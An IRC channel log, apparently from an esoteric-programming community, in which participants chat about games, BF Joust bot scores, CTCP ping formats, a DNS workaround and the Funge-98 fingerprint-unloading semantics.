04:18:40 <zzo38> For your information, I have received TIME responses from the following: nddylliog,fizzie,Sgeo,joo,sebbu,Zuu,clog,taotree,pingveno,copumpkin,Slereah,Leonidas,ineiros,variable,quintopia,Mannerisky,aloril,dbc,Deewiant,jix,poiuy_qwert,cal153,fizzie,SimonRC,olsner,miekko,mycroftiv,pikhq_,shachaf,tswett,Gregor,Gregor,lifthrasiir
04:18:48 <quintopia> the split ended pretty much instantly
04:18:52 <zzo38> (I did get two responses from Gregor)
04:23:02 <quintopia> wat
04:23:31 <quintopia> are you gonna kick everyone that doesn't? :P
04:23:37 <zzo38> No.
04:24:10 <zzo38> I am just wondering why there isn't many message in here at this time??
04:24:15 -!- pikhq_ has changed nick to pikhq.
04:24:26 <zzo38> O, that's why.
04:24:42 <pikhq> quintopia: The split lagged me out somehow.
04:25:30 <quintopia> okay
04:26:07 <quintopia> zzo38: because no one is chatting. elliott left, gregor is busy, and the others haven't said anything in an hour anyway
04:26:13 <zzo38> OK
04:26:36 <quintopia> pikhq: is one beer past the ballmer peak?
04:26:40 <quintopia> or not enough?
04:26:45 <pikhq> quintopia: Probably not.
04:29:07 <zzo38> Do you think what I have in TeXnicard so far is good? Any suggestion?
04:29:28 <quintopia> tbh, i haven't tried to use it
04:29:46 <quintopia> i could try to find someone who would want to...
04:29:54 <zzo38> quintopia: Have you looked at any of the source files though?
04:30:32 <quintopia> nope
04:30:37 <zzo38> (Without that, you probably will not be able to use it, since there is no user documentation yet) (But if you can help with making user documentation and those things, that would help good)
04:30:39 <quintopia> it's not really my bag
04:32:42 <zzo38> Do you try to find someone who knows how to (and want to) help with these things?
04:35:35 <zzo38> Also tell me if you have any feature suggestions, in case I might not put it in the first version I will list them in the chapter titled "The Future". (I put a few things there already?)
04:37:15 <quintopia> 'kay
04:37:41 <quintopia> btw, GTAIV minus car tire friction is the MOST HILARIOUS THING I'VE SEEN ALL DAY
04:37:56 -!- augur[afk] has joined.
04:39:00 <zzo38> quintopia: GTAIV? Is that Grand Theft Auto? Is it more difficult when friction is adjusted or removed?
04:39:27 <zzo38> Or is it easier to drive your car since you can do it in any way without resistance?
04:41:39 -!- augur[afk] has changed nick to augur.
04:51:27 <quintopia> zzo38: imagine walking up to a parked car, shooting at it, and having it go flying into the nearest building, bouncing off, and flying back at you
04:52:40 <zzo38> O, so that's what it does.
04:54:03 <quintopia> zzo38: http://www.geek.com/articles/games/grand-theft-auto-iv-without-friction-becomes-carmageddon-20110113/
04:54:25 -!- Sgeo_ has joined.
04:55:21 -!- Sgeo_ has quit (Client Quit).
04:57:02 <zzo38> I made a game once, I put in an option, that if selected, makes it the balls won't stay still! And this makes it more difficult.
04:58:42 <zzo38> quintopia: If there is no friction, can you drive without gasoline in the car?
04:59:50 <Sgeo> This Nickleback song is distinct from the other Nickleback song I know
05:00:06 <pikhq> How improbable.
05:00:14 <zzo38> Sgeo: I never heard of it.
05:00:56 <Sgeo> Photograph and Figured You Out
05:01:56 <quintopia> zzo38: no, you can move without gas yes, but you can't drive, as that implies the ability to steer or control the car
05:02:42 <zzo38> quintopia: Can you save fuel by only turning it on when you want to change direction?
05:03:05 <Ilari> You can't turn without friction. :-)
05:03:15 <quintopia> ...the only way you can change direction is by bouncing off of buildings
05:03:28 <quintopia> and you don't exactly get to decide where you bounce
05:03:49 <zzo38> In that case why do you need fuel?
05:04:14 <quintopia> Sgeo: nickelback had a couple of good songs. I am eternally amused by Animals.
05:04:40 <Sgeo> According to pikhq, they only have one song
05:05:02 <pikhq> Sgeo: s/pikhq/most people/
05:05:04 <zzo38> Can you do some things illegal by purpose to make the police car push your car in the direction you want to move?
05:05:18 <pikhq> Seriously, it's what they're known for.
05:05:35 <quintopia> pikhq: interestingly, Sgeo did not name that song
05:06:12 <quintopia> zzo38: the police car is also a car. it also has no ability to control. did you watch the video i linked?
05:07:03 <zzo38> quintopia: No I watched no video. But of course I know the police car is also a car. But I thought somehow the computer would make it start moving the right way.
05:07:20 <zzo38> If you can use a gun, then can you also use the gun to shoot other cars to make them hit your car to move it in the direction you want?
05:07:21 * Sgeo now hears a nostalgia-inducing Eminem song
05:07:28 <Sgeo> Well, not nostalgia
05:07:32 <Sgeo> Just... memory-inducing
05:07:44 <zzo38> Or can you only use the gun when not in the car?
05:07:46 <Sgeo> I'm pretty glad I'm past that point in my life
05:07:48 <quintopia> yes you can control the cars via shooting at them just right, but it's very difficult.
05:08:06 <quintopia> esp. since once you are in a car you can only shoot one direction
05:08:22 <quintopia> and the car you are in will quickly be flying through the air upside-down
05:08:24 <zzo38> And you have to not run out of ammunition, I guess.
05:08:33 <Sgeo> I'm sure it was an Eminem song that sounded as though it was related to getting banned from Cybertown
05:08:56 <Sgeo> At any rate, this song is surely from a point in my life where I.. might not have been such a good person
05:09:17 <quintopia> now this looks like a job for me
05:09:21 <Sgeo> And I'm shutting up now. This is getting close to things I will not talk about.
05:09:23 <quintopia> so everybody just follow me
05:09:34 <quintopia> cause we need a little controversy
05:09:40 <Sgeo> quintopia, oh, that's the one that sounded like a Cybertown ban
05:09:43 <quintopia> cause it feels so *empty* without me
05:09:58 <Sgeo> Or.. not?
05:10:17 <quintopia> eminem was someone
05:10:21 <quintopia> who made more than 3 songs
05:15:18 -!- calamari has joined.
05:15:28 -!- asiekierka has joined.
05:20:29 -!- calamari has quit (Ping timeout: 276 seconds).
05:33:43 -!- calamari has joined.
05:46:09 -!- calamari has quit (Quit: Leaving).
05:49:27 -!- asiekierka has quit (Read error: Operation timed out).
05:51:36 <zzo38> Can we make Binary Modular SNUSP Golf? If we use four bits for each command, there are 12 commands so we can have 4 metacommands that tell it to skip a number of spaces and go to the next row.
05:52:21 <quintopia> we could. would you want to?
05:53:39 <zzo38> Maybe I might, at some time
06:18:30 <zzo38> ...is that right? *pic|=(0xFF>>b)&~(0xFF>>(b+c));
06:30:25 <quintopia> wat
06:32:41 <zzo38> quintopia: ?
06:35:16 <zzo38> It is a C code, is it not?
06:36:07 <fizzie> From a quick glance, it looks like setting c consecutive bits in a byte, starting from the b'th, counted from MSB.
06:36:58 <zzo38> fizzie: Yes. I am making GF->PBM?
06:39:08 -!- FireFly has joined.
06:42:38 -!- augur has quit (Remote host closed the connection).
06:45:22 <quintopia> oh
06:45:29 <quintopia> so its a bitmask
06:45:38 <quintopia> that selects the bth through b+cth bits
06:45:41 <quintopia> got it
06:45:43 <quintopia> erm
06:45:49 <quintopia> b+c-1th
06:51:54 <Vorpal> <elliott> Vorpal: ping <-- pong
06:58:05 <quintopia> slooooooow
07:00:44 <Vorpal> bbl university
07:04:33 <quintopia> \m/ \m/
07:04:33 <myndzi> `\o/´
07:04:33 <myndzi> |
07:04:33 <myndzi> /`\
07:04:34 <myndzi> (_| |_)
07:05:25 -!- augur has joined.
07:07:49 -!- GreaseMonkey has joined.
07:08:50 <zzo38> I now have sent the changes I made (which includes the C codes I posted here). Is it good?
07:26:42 -!- quintopia has quit (Ping timeout: 240 seconds).
07:37:04 -!- quintopia has joined.
07:37:04 -!- quintopia has quit (Changing host).
07:37:04 -!- quintopia has joined.
07:47:47 -!- FireFly has quit (Quit: swatted to death).
07:48:33 -!- oerjan has joined.
07:48:55 <quintopia> :/
07:50:11 <quintopia> egobot!!!!! :(
07:50:32 <quintopia> `run ps -e | grep report
07:51:35 <quintopia> the world is broken
07:52:18 -!- Mathnerd314 has quit (Ping timeout: 240 seconds).
07:53:02 <HackEgo> 11864 ? 00:00:00 report
07:55:40 <quintopia> wooo!
07:57:18 <oerjan> <elliott__> I blame oerjan for this
07:57:44 <oerjan> wait, you say it put the new IP in the wrong place in the queue? :(
07:57:59 <oerjan> well it _should_ be trivial to fix.
07:59:01 <quintopia> what is the syntax in a regex for "not this string"
07:59:12 <quintopia> aka, match "david" but not "david bowie"
07:59:31 <GreaseMonkey> there's [^t] for "not t"
07:59:35 <oerjan> negative lookahead?
07:59:41 <quintopia> yeah oerjan
07:59:47 <oerjan> well look it up
07:59:52 <quintopia> hmm
07:59:59 -!- clog has quit (ended).
08:00:00 -!- clog has joined.
08:00:40 * oerjan doesn't remember that stuff
08:04:06 -!- Sgeo has quit (Read error: Connection reset by peer).
08:05:48 <quintopia> (?!) apparently
08:09:13 -!- oerjan has quit (Quit: Reboot).
08:14:58 -!- oerjan has joined.
08:29:06 -!- oerjan has quit (Quit: Dammit now _adobe_ wants a reboot too...).
08:31:15 -!- GreaseMonkey has quit (Quit: ilua).
08:31:56 -!- oerjan has joined.
08:33:23 -!- poiuy_qwert has quit (Ping timeout: 240 seconds).
08:34:18 -!- poiuy_qwert has joined.
08:35:34 <oerjan> !help
08:35:36 <EgoBot> help: General commands: !help, !info, !bf_txtgen. See also !help languages, !help userinterps. You can get help on some commands by typing !help <command>.
08:35:41 <oerjan> !info
08:35:41 <EgoBot> EgoBot is a bot for running programs in esoteric programming languages. If you'd like to add support for your language to EgoBot, check out the source via mercurial at https://codu.org/projects/egobot/hg/ . Cheers and patches (preferably hg bundles) can be sent to Richards@codu.org , PayPal donations can be sent to AKAQuinn@hotmail.com , complaints can be sent to /dev/null
08:41:40 <oerjan> bf joust is written in _perl_? 8D
08:41:49 -!- joo has quit.
08:44:16 -!- cheater- has quit (Ping timeout: 240 seconds).
08:45:27 -!- cheater- has joined.
08:45:51 <quintopia> oerjan: no
08:46:13 <quintopia> it's an amalgam of c, perl, and shell script :P
09:17:14 <zzo38> !help languages
09:17:14 <EgoBot> languages: Esoteric: 1l 2l adjust asm axo bch befunge befunge98 bf bf8 bf16 bf32 boolfuck cintercal clcintercal dimensifuck glass glypho haskell kipple lambda lazyk linguine malbolge pbrain perl qbf rail rhotor sadol sceql trigger udage01 underload unlambda whirl. Competitive: bfjoust fyb. Other: asm c cxx forth sh.
09:17:18 <zzo38> !help userinterps
09:17:18 <EgoBot> userinterps: Users can add interpreters written in any of the languages in !help languages. See !help addinterp, delinterp, show | !userinterps. List interpreters added with !addinterp.
09:18:52 <zzo38> !userinterps
09:18:52 <EgoBot> Installed user interpreters: aol austro b1ff bc bct bfbignum brit brooklyn bypass_ignore bytes chaos chef chiqrsx9p choo cockney ctcp dc decisionengine drawl drome dubya echo eehird ehird fudd funetak google graph gregor he hello id jethro kraut num ook pansy pi pirate plot postmodern postmodern_aoler redneck reverse rimshot rot13 sadbf sfedeesh sffedeesh sffffedeesh sffffffffedeesh simpleacro slashes svedeesh swedish valspeak warez yodawg
09:32:42 <oerjan> quintopia: well i meant the program that actually runs a single duel
09:36:38 <oerjan> now the other repository files aren't loading :(
09:37:53 <oerjan> i cannot say i understand the program, but what is that my $tapemaxel = int(rand(20))+10;
09:38:22 <oerjan> Gregor: ^ ? i thought bfjoust ran duels with all the tape lengths.
09:38:39 <oerjan> !help
09:38:39 <EgoBot> help: General commands: !help, !info, !bf_txtgen. See also !help languages, !help userinterps. You can get help on some commands by typing !help <command>.
09:39:05 <oerjan> hm EgoBot is alive but the repository is not responding.
09:39:17 <oerjan> i guess this is an unlikely time for Gregor to be awake
09:40:35 <oerjan> i had this great idea for an algorithm to parse bfjoust programs efficiently even if the contents of ()* and ({})% don't match... but there is no way i'm trying to write it in perl :D
09:41:06 <zzo38> oerjan: Why?
09:42:20 <oerjan> zzo38: because it involves adding mismatching annotations to the data, and also because it is much easier if i can use laziness from haskell
09:43:05 <oerjan> i.e. it would not be nice to do it with pure string matching, and i'm not proficient enought with the rest of perl.
09:43:16 <oerjan> *enough
09:43:44 <oerjan> oh and of course this is also inspired by this egodeath thing
09:46:48 <oerjan> hm that's funny...
09:48:02 <zzo38> OK
09:48:08 <zzo38> What is this egodeath thing?
09:48:35 <zzo38> And what are the numbers you sent to me?
09:49:04 <oerjan> zzo38: someone made a bf joust program that expands to such size that egobot's interpreter cannot handle it
09:49:10 <oerjan> or only barely
09:49:46 <oerjan> i sent you a ping request, it's for checking irc connectivity. i seem to have a problem reaching the web just now, but irc is fine...
09:50:20 <zzo38> Is it a DNS problem?
09:50:30 <oerjan> hm i also cannot open a new connection to nvg (which i'm irc'ing through)
09:50:47 <oerjan> i guess a DNS problem would be a likely cause...
09:50:49 <zzo38> What is nvg?
09:51:31 <oerjan> zzo38: my old computer club from university, i'm still a member and use it for email, irc, my web page and stuff
09:52:14 <oerjan> (it's a shell account)
09:52:55 <zzo38> Can you connect if you know its IP address?
09:53:23 <oerjan> interesting question. let me try elliott's logs
09:53:47 <oerjan> yes, you are correct. must be DNS then.
09:55:09 <zzo38> Is it 129.241.210.70
09:55:37 <zzo38> (That is the address you are connecting from)
09:56:00 <zzo38> (If the "tyrell." is removed the last octet is 67)
09:56:19 <oerjan> zzo38: that's the right subnet, i recall the 129.241.*. however i don't need a new connection to that right now.
09:56:37 <oerjan> i was more trying to browse the web in general.
09:57:01 <oerjan> you cannot connect to https: via ip, can you? egobot's repository is https.
09:57:13 <oerjan> or maybe i could try.
09:57:28 <oerjan> zzo38: what is the ip for codu.org?
09:57:45 <zzo38> 64.62.173.65
09:58:43 <oerjan> zzo38: ah using the ip and changing https to http worked. thank you!
10:05:04 -!- cheater- has quit (Ping timeout: 240 seconds).
10:11:17 -!- copumpkin has quit (Ping timeout: 240 seconds).
10:11:43 -!- copumpkin has joined.
10:16:08 -!- oerjan has quit (Quit: Trying a rehibernation).
10:19:11 -!- cheater- has joined.
10:19:40 -!- oerjan has joined.
10:20:58 <oerjan> well that didn't help any, had to use that ip to get back on irc
10:23:22 <oerjan> ah the repair option in the control panel worked
10:26:24 <zzo38> Features for future versions of TeXnicard (not any time soon) might be: a database to keep track of cards sold, a full text search for all card sets in the game, and to be able to play the cards on the computer (in rule-enforcing programs).
10:27:49 <zzo38> My idea for making it to playing the cards on the computer, is something like Inform7 and then have it to compile into C codes, or something like that?
10:28:31 <zzo38> Do you know anything of these kind of things?
10:29:29 <oerjan> nope
10:29:59 <zzo38> OK
10:30:52 <zzo38> But do you think these might be good ideas?
10:32:28 <oerjan> sounds good in principle
10:33:00 <oerjan> but i'm not a very practical programmer to be asking
10:33:17 <zzo38> Well, I won't do anything like this quite yet, so it doesn't really matter at this time.
10:44:08 <zzo38> Did you know that Hercule Poirot is mentioned in the index of TeX: The Program?
10:45:58 -!- pingveno has quit (Ping timeout: 276 seconds).
10:47:09 -!- pingveno has joined.
10:49:16 <oerjan> recent xkcd blag might suggest that a Raptor Hobo Badger Narwhal Doctor would be a rare thing.
10:49:56 * oerjan couldn't fit in both Doctor and Zombie without repeating Narwhal
10:51:48 -!- iconmaster has joined.
10:52:53 -!- iconmaster has quit (Client Quit).
11:10:11 <sebbu> zzo38, I was sleeping, thank's for the highlight ;)
11:10:28 <sebbu> (yeah, i just woke up moments ago, and it's 12:30)
11:15:22 -!- aloril has quit (Ping timeout: 265 seconds).
11:27:14 -!- aloril has joined.
11:32:09 <zzo38> sebbu: What highlight?
11:35:14 <sebbu> 7h20 ago
11:36:06 <zzo38> I still don't know what highlight.
11:36:17 <fizzie> Perhaps the CTCP TIME?
11:36:46 <fizzie> That was about 7 hours, 20 minutes ago.
11:37:04 <zzo38> fizzie: I typed that just to see if the net split was causing any problems.
11:39:12 <oerjan> zzo38: it's usually CTCP PING that is used for that (like i did) although that requires some client support to get accurate timing
11:40:42 <oerjan> basically you let the message with the PING be the time it was sent, then the message is sent back and you can subtract the times of return and sending
11:41:01 <fizzie> CTCP DING, says the microwave oven.
11:48:04 <zzo38> (I sent the command to the channel, to ensure that everyone can still receive messages from the channel.)
11:53:57 <sebbu> i often get ? sec from ctcp ping
12:04:25 <oerjan> sebbu: maybe your client is confused about the time format it puts in the ping message? (i don't know if it's standardized across clients; i see no reason why it should be)
12:04:55 <sebbu> no, he highlighted AFTER, for saying the people who answered
12:05:19 <oerjan> sebbu: um i was referring to <sebbu> i often get ? sec from ctcp ping
12:05:30 <sebbu> [13:23:11] * Received a CTCP PING 1297254214 984196 from oerjan
12:06:08 <oerjan> sebbu: yeah and that came back alright giving a result of 0.350 seconds
12:06:58 <sebbu> that's high, i got a third of that on google
12:07:40 <oerjan> ...you don't ping google via irc do you...
12:08:05 <oerjan> ctcp pings presumably have to pass through all the immediate irc servers
12:09:03 <oerjan> and i'd imagine google has servers in france or something
12:09:32 <oerjan> hm...
12:11:54 <oerjan> hm tracerouting www.google.no from here gives quite a number of hops _inside_ google's network
12:16:13 <fizzie> The PING format isn't very standard, no; I've seen at least both "[seconds after 1970]" and "[seconds after 1970] [microseconds]" formats.
12:16:54 <oerjan> i guess that's the latter in mine above
12:17:21 <fizzie> XChat sent "1297205009020833" while irssi did "1297255033 498239" now.
12:17:52 <oerjan> well that looks just like a spacing difference
12:18:05 <fizzie> The one with space doesn't necessarily 0-pad.
12:18:10 <oerjan> anyway, only the client that sent it needs to understand its format
12:18:14 <fizzie> Also since the bouncer sends distributes the replies to both connections, I have:
12:18:17 <fizzie> 14:36 [freenode] CTCP PING reply from : -1297203852425989.-91 seconds
12:18:22 <fizzie> * Ping reply from fizzie: 1297203738.89 second(s)
12:19:02 <oerjan> ...what.
12:20:38 <fizzie> The replies are just messages, so they go to both (simultaneously connected) clients of the bouncer; it doesn't bother tracking which one sent the actual request. (And that'd be a bit brittle too, since you can't really tell which response corresponds to which request.)
12:20:56 <fizzie> (In general, I mean. For PING you sort-of could guess.)
12:21:16 <oerjan> hm.
12:21:42 <zzo38> Is that why I got two responses from Gregor?
12:22:01 <fizzie> It could well be.
12:25:05 <fizzie> The multi-client thing is a bit corner-casey. If I /whois someone in one client, there's a spurious whois-reply in the other; and XChat's periodic NAMES #channel polls (presumably for the away/not-away nick coloring of the nicklist) show up in irssi too.
12:25:14 <oerjan> Gregor: dammit hg repository and it's horizontal scrollbar placement...
12:25:27 <oerjan> *repository browser
12:26:06 <oerjan> utterly useless
12:38:07 -!- BeholdMyGlory has joined.
12:50:12 -!- oerjan has quit (Quit: leaving).
12:56:27 -!- augur has quit (Remote host closed the connection).
13:22:52 <Gregor> 6 °F
13:22:53 <Gregor> Feels Like -1 °F
13:23:29 <Gregor> The HIGH today is 11 X_X
13:25:10 <Gregor> (That's -14, -18 and -12 centigrade, btw)
13:27:38 -!- copumpkin has quit (Ping timeout: 255 seconds).
13:28:03 -!- copumpkin has joined.
13:35:20 <fizzie> -8.5 °C here now; the five-day forecast is claiming -20 °C for Monday morning, though.
13:37:28 <fizzie> They have a "feels like" number of -18 °C for today, too; I don't really know how that gets computed.
13:39:31 <fizzie> A weather station in Resolute, Nunavut, Canada is saying -42 °C now, so I guess we don't have anything to complain about. (The page lists high/low numbers from around the world.)
13:46:55 <zzo38> I also don't know how you would compute "feels like" temperature; I don't know if Wikipedia has any information about that, either.
13:46:56 -!- nddrylliog has quit (Read error: Connection reset by peer).
13:47:37 <fizzie> Wind speed and relative humidity might be what it uses as inputs, but I'm sure it's rather unscientific.
13:49:57 <fizzie> There's a couple of related equations at http://en.wikipedia.org/wiki/Heat_index and http://en.wikipedia.org/wiki/Wind_chill
13:50:03 <fizzie> They look pretty empirical.
13:52:58 <fizzie> Not quite sure how those two would be sensibly combined.
13:59:09 <fizzie> "The thermometer outside the kitchen window may read 20, but then a voice on the radio announces that because of the wind, humidity and a fast-moving nonsense front it feels like 127,000 degrees below zero, that in fact the entire universe has ground to a halt because of the wind chill."
13:59:39 -!- FireFly has joined.
14:00:32 <fizzie> Also one weather reporting service has a proprietary "RealFeel temperature" index: "It is a unique composite of the effects of temperature, wind, humidity, sunshine intensity, cloudiness, precipitation and elevation on the human body--everything that affects how warm or cold a person feels."
14:01:31 -!- elliott has joined.
14:02:27 <fizzie> Oh, and it is also patented.
14:04:25 <elliott> 05:19:53 <Sgeo> This Nickleback song is distinct from the other Nickleback song I know
14:04:25 <elliott> A priori -- no, it isn't.
14:04:52 <elliott> 05:24:43 <Sgeo> According to pikhq, they only have one song
14:04:52 <elliott> Try 0
14:04:57 <elliott> oh wait
14:05:01 <elliott> I read that as one good song
14:05:11 <elliott> yes, it is well-known that Nickelback have one song. and it's terrible
14:05:41 <elliott> 05:28:37 <Sgeo> I'm sure it was an Eminem song that sounded as though it was related to getting banned from Cybertown
14:05:41 <elliott> I wonder if only quoting Sgeo's lines from the logs makes me the author of an unfair portrayal.
14:06:26 <elliott> 07:12:00 <Vorpal> <elliott> Vorpal: ping <-- pong
14:06:26 <elliott> 07:20:51 <Vorpal> bbl university
14:06:26 <elliott> ...
14:06:30 -!- cheater- has quit (Ping timeout: 240 seconds).
14:06:47 <elliott> 08:17:52 <oerjan> wait, you say it put the new IP in the wrong place in the queue? :(
14:06:47 <elliott> 08:18:07 <oerjan> well it _should_ be trivial to fix.
14:06:50 <elliott> lol, i fixed it
14:07:27 <elliott> 09:52:54 <oerjan> quintopia: well i meant the program that actually runs a single duel
14:07:28 <elliott> that's not perl oerjan
14:07:30 <elliott> that's the old version
14:07:33 <elliott> egojoust is in C
14:08:42 -!- cheater- has joined.
14:09:41 <zzo38> The lights on my keyboard are broken they usually don't work. All of the keys work, though.
14:13:24 <elliott> 10:13:07 <zzo38> Can you connect if you know its IP address?
14:13:24 <elliott> 10:13:35 <oerjan> interesting question. let me try elliott's logs
14:13:24 <elliott> I will refrain from buying a domain then
14:13:45 <elliott> 10:17:40 <oerjan> zzo38: what is the ip for codu.org?
14:13:49 <elliott> we need a dnsbot :D
14:13:51 <elliott> dns over irc
14:15:24 -!- augur has joined.
14:17:57 -!- ais523 has joined.
14:20:17 -!- Sgeo has joined.
14:20:39 <ais523> !bfjoust defend12 http://sprunge.us/ibGT
14:20:41 <ais523> !bfjoust defend13 http://sprunge.us/jQfB
14:20:52 <elliott> hi ais523
14:20:57 <ais523> hi elliott
14:21:14 * elliott starts finishing Fingerprint support
14:22:06 <ais523> I was working on those last night; 12 is a mix of 7, 10, and something else, using myndzi's suggestion of multiple decoys and adapting the strategy to how the opponent seems to be behaving; and 13 is 12 but detecting defence programs and using a counter-defence strategy rather than defending if they're seen (which both me and impomatic were trying to do yesterday)
14:22:08 <elliott> ais523: hmm, is there an easy way to create a bunch of code lines from a template in emacs
14:22:09 <elliott> ?
14:22:17 <elliott> I want 26 lines exactly the same except for A-Z
14:22:32 <ais523> I normally use keyboard macros for that sort of thing
14:22:39 <ais523> but have to look up the commands to do it each time
14:22:39 <elliott> you mean emacs macros?
14:22:43 <elliott> heh
14:22:44 <ais523> no, just keystroke recordings
14:22:46 -!- poiuy_qwert has quit (Quit: This computer has gone to sleep).
14:23:03 <elliott> ais523: obligatory: in amend, you can just write a program to do it
14:23:10 <elliott> (OK, you can in Emacs too, but nobody remembers how to use elisp)
14:23:12 <ais523> if it's just A-Z, I'd make a bunch of copies of the line via copy-and-paste, and then change a column by hand
14:23:21 <elliott> yeah
14:23:26 <ais523> perhaps using picture-mode to make the cursor go down the column
14:24:08 <EgoBot> Score for ais523_defend13: 59.1
14:24:08 <EgoBot> Score for ais523_defend12: 47.4
14:24:12 <ais523> not bad at all
14:24:13 <elliott> nice!
14:24:30 <elliott> amend mockup: Ctrl+E forM_ ['B'..'Z'] $ \c -> insert $ ", fpIns" ++ [c] ++ " :: Shiro ()"
14:24:58 <elliott> arguably, using a bunch of record-fields in place of a 26-long list is a microoptimisation :)
14:25:01 <ais523> I was testing on an old hill; defend13 beat all but one program (impomatic_mirage, which wins 22 out of the 42 possibilities)
14:25:17 <ais523> and that was without me tweaking constants to beat programs in particular
14:25:25 <elliott> gah, I think I might have to store the relevant fp
14:25:27 <ais523> I could have tweaked it to beat mirage, possibly, but it feals a bit like cheating
14:26:23 <elliott> *feels
14:26:36 <elliott> The corresponding ) "Unload Semantics" instruction unloads the semantics for a given fingerprint from any or all of the instructions A to Z (even if that fingerprint had never been loaded before). It pops a count and builds a fingerprint in exactly the same way.
14:26:41 <elliott> Why can't it just pop the most recently loaded one >_)<
14:26:42 <elliott> *>_<
14:27:31 <ais523> it basically pops the semantics stack for every command implemented by that fingerprint
14:27:40 <ais523> which is in a sense an even simpler operation
14:29:55 <elliott> ais523: no, it doesn't
14:30:06 <elliott> ais523: it only pops _its_ entry
14:30:09 <ais523> well, that's how Mycology/CCBI/cfunge interpret it
14:30:15 <elliott> and it only pops it if it's loaded
14:30:20 <elliott> "unloads the semantics for a given fingerprint from any or all of the instructions A to Z"
14:30:27 <elliott> unloading another fingerprint's semantics isn't unloading the semantics
14:30:39 <elliott> I can't see any way to defend that interpretation
14:31:02 <ais523> see the section below
14:31:23 <ais523> unloading the semantics is defined as popping a semantics stack
14:31:30 <elliott> ais523: possibly
14:31:39 <elliott> gah, this spec is so badly written
14:31:45 <ais523> on the other hand, it's possible from the spec that that stack is per-fingerprint
14:32:25 <ais523> wow, that's even more broken than the typical interpretation
14:32:47 <ais523> I think that spec has to be interpreted as "when a fingerprint is unloaded, each of the commands implemented by that fingerprint are set to the meanings they had immediately before it was loaded"
14:32:53 <elliott> yep
14:33:01 <elliott> ais523: indeed, as far as I can tell, the pure interpretation is that every fingerprint has 26 variables
14:33:02 <ais523> so, e.g., if you load A, load B, unload A, unload B, the common commands now have A's semantics
14:33:10 <elliott> yep, oh my
14:33:11 <elliott> Deewiant!
14:33:18 <ais523> elliott: 26 stacks, there's no ban on loading a fingerprint more than once
14:33:26 <elliott> er, right
14:33:28 <ais523> I think CCBI is wrong on this, as is Mycology
14:33:34 <elliott> ais523: unlike the "y bounds are actually useless" thing I found, this is actually a real problem :-D
14:33:39 <elliott> and not one that ruins the language, so not an ignorable one
14:33:44 <elliott> ais523: indeed, probably cfunge too then
14:33:52 <ais523> yep, it wouldn't pass mycology if it did it correctly
14:34:07 <elliott> ais523: OTOH, the actual _definition_ of the ) instruction seems marginally saner
14:34:10 <elliott> so which do we go by?
14:34:20 <elliott> (the definition doesn't _contradict_ the following, but it doesn't imply it either)
14:34:45 <ais523> I dont think they contradict each other, thus we have to take the meaning that makes them both correct
14:35:00 <ais523> which is that unloading a fingerprint restores each of its commands to what they did before the fingerprint was loaded
14:35:58 <fizzie> There is that one point of ): it unloads from the defined instructions "even if that fingerprint had never been loaded before". That doesn't really make sense if you read the first part so that a fingerprint is only capable of unloading its own semantics.
14:36:42 <ais523> wow, apparently the Java floating point infinite loop bug is not only remotely exploitable on most Java-based servers, but apparently Sun has known about it for over 10 years
14:36:46 <elliott> fizzie: arguably, it just runs the unload code anyway
14:36:50 <elliott> and the stacks are initialised with... reflects?
14:36:52 <ais523> where "apparently" means "stated without source in a Slashdot submission"
14:37:00 <fizzie> And there's the save/restore thing which explicitly says it's push/pop.
14:37:11 <elliott> fizzie: that's what we're going by
14:37:13 <ais523> fizzie: yep, the push/pop seems to be based on a per-fingerprint stack, though, not per-command
14:37:32 <Deewiant> ais523: A source that uses a broken link as a primary source: http://www.exploringbinary.com/java-hangs-when-converting-2-2250738585072012e-308/
14:37:36 <ais523> there's nothing there that suggests the stacks are INTERCAL-style stashes rather than working more like a callstack
14:37:40 <ais523> Deewiant: haha
14:37:43 <elliott> hmm
14:37:49 <fizzie> ais523: Where did you deduce the per-fingerprint stack, though?
14:37:50 <ais523> I mean, I know the bug exists, it's easy to verify
14:37:51 <Deewiant> ais523: Well, it claims it worked previously
14:37:52 <elliott> I think it's ambiguous enough that I'll do the Mycology interpretation
14:37:58 <ais523> Sun knowing about the source for over 10 years, though...
14:38:01 <elliott> but, please, argue with Deewiant and tell me the result so I can fix my code
14:38:54 <ais523> fizzie: hmm
14:38:54 <Deewiant> I'm not going to argue, at best I'll agree to disagree; Language::Befunge is the only one that ever had a different interpretation, IIRC
14:39:02 <ais523> in fact, it's potentially arguable that it's a global stack
14:39:09 <ais523> in which case you wouldn't need FING to shuffle fingerprints around
14:39:48 <ais523> actually, the literal reading implies that the fingerprint itself gets to define whether the stacks in question are per-fingerprint, per-instruction, or global
14:40:44 <ais523> so I suppose all existing fingerprints do it per-instruction because they were written for per-instruction interps, apart from the RC/Funge ones (which were global)
14:41:06 <elliott> Deewiant: Personally, I think that "ABCD"4) only pops from the fingerprint stack if ABCD is the most recently loadedfingerprint.
14:41:08 <fizzie> The fact that it does save(A); save(B); but restore(B); restore(A); does make it sound like a global single semantics stack.
14:41:09 <elliott> *loaded fingerprint.
14:41:30 <ais523> fizzie: per-fingerprint stacks would do it in that order too
14:41:33 <elliott> I don't see how "unload semantics of FP" can be interpreted as "unload semantics of different FP entirely"
14:41:35 <ais523> (per-command wouldn't)
14:41:47 <elliott> Shiro/Types.hs:42:12:
14:41:48 <elliott> No instance for (Show (StateT FungeState IO ()))
14:41:48 <elliott> arising from the 'deriving' clause of a data type declaration
14:41:48 <elliott> at Shiro/Types.hs:42:12-15
14:41:48 <elliott> heh
14:41:49 <fizzie> ais523: Well, yes, but I don't think per-fingerprint stacks are so very reasonable.
14:42:23 <Deewiant> elliott: "even if that fingerprint had never been loaded before".
14:42:27 <ais523> also, it's worth pointing out that Chris Pressey's NULL fingerprint implemented every command, and was defined as being unloadable in order to reset the semantics of every command
14:42:28 <fizzie> I still think the "unloads the semantics for a given fingerprint from any or all of the instructions A to Z (even if that fingerprint had never been loaded before)" part hints that you're supposed to be able to do that.
14:42:40 <ais523> which implies per-fingerprint stacks to me, or that wouldn't work
14:42:49 <elliott> Deewiant: Yes, and?
14:43:00 <elliott> Deewiant: It's clearly UNDEF in that case because there's no specification of what it actually means to do that.
14:43:14 <elliott> <ais523> also, it's worth pointing out that Chris Pressey's NULL fingerprint implemented every command, and was defined as being unloadable in order to reset the semantics of every command
14:43:15 <elliott> aha
14:43:16 <elliott> Deewiant: ^
14:43:24 <Deewiant> I am aware of all this, don't ping me. :-P
14:43:38 <elliott> BUT THAT'S CLINCHING EVIDENCE
14:43:57 <elliott> Bah, are we going by what the spec clearly says or by what Mycology says
14:44:39 <fizzie> ais523: Where does it say that? http://catseye.tc/projects/funge98/library/NULL.html just says "This can be loaded before loading a regular transparent fingerprint to make it act opaquely."
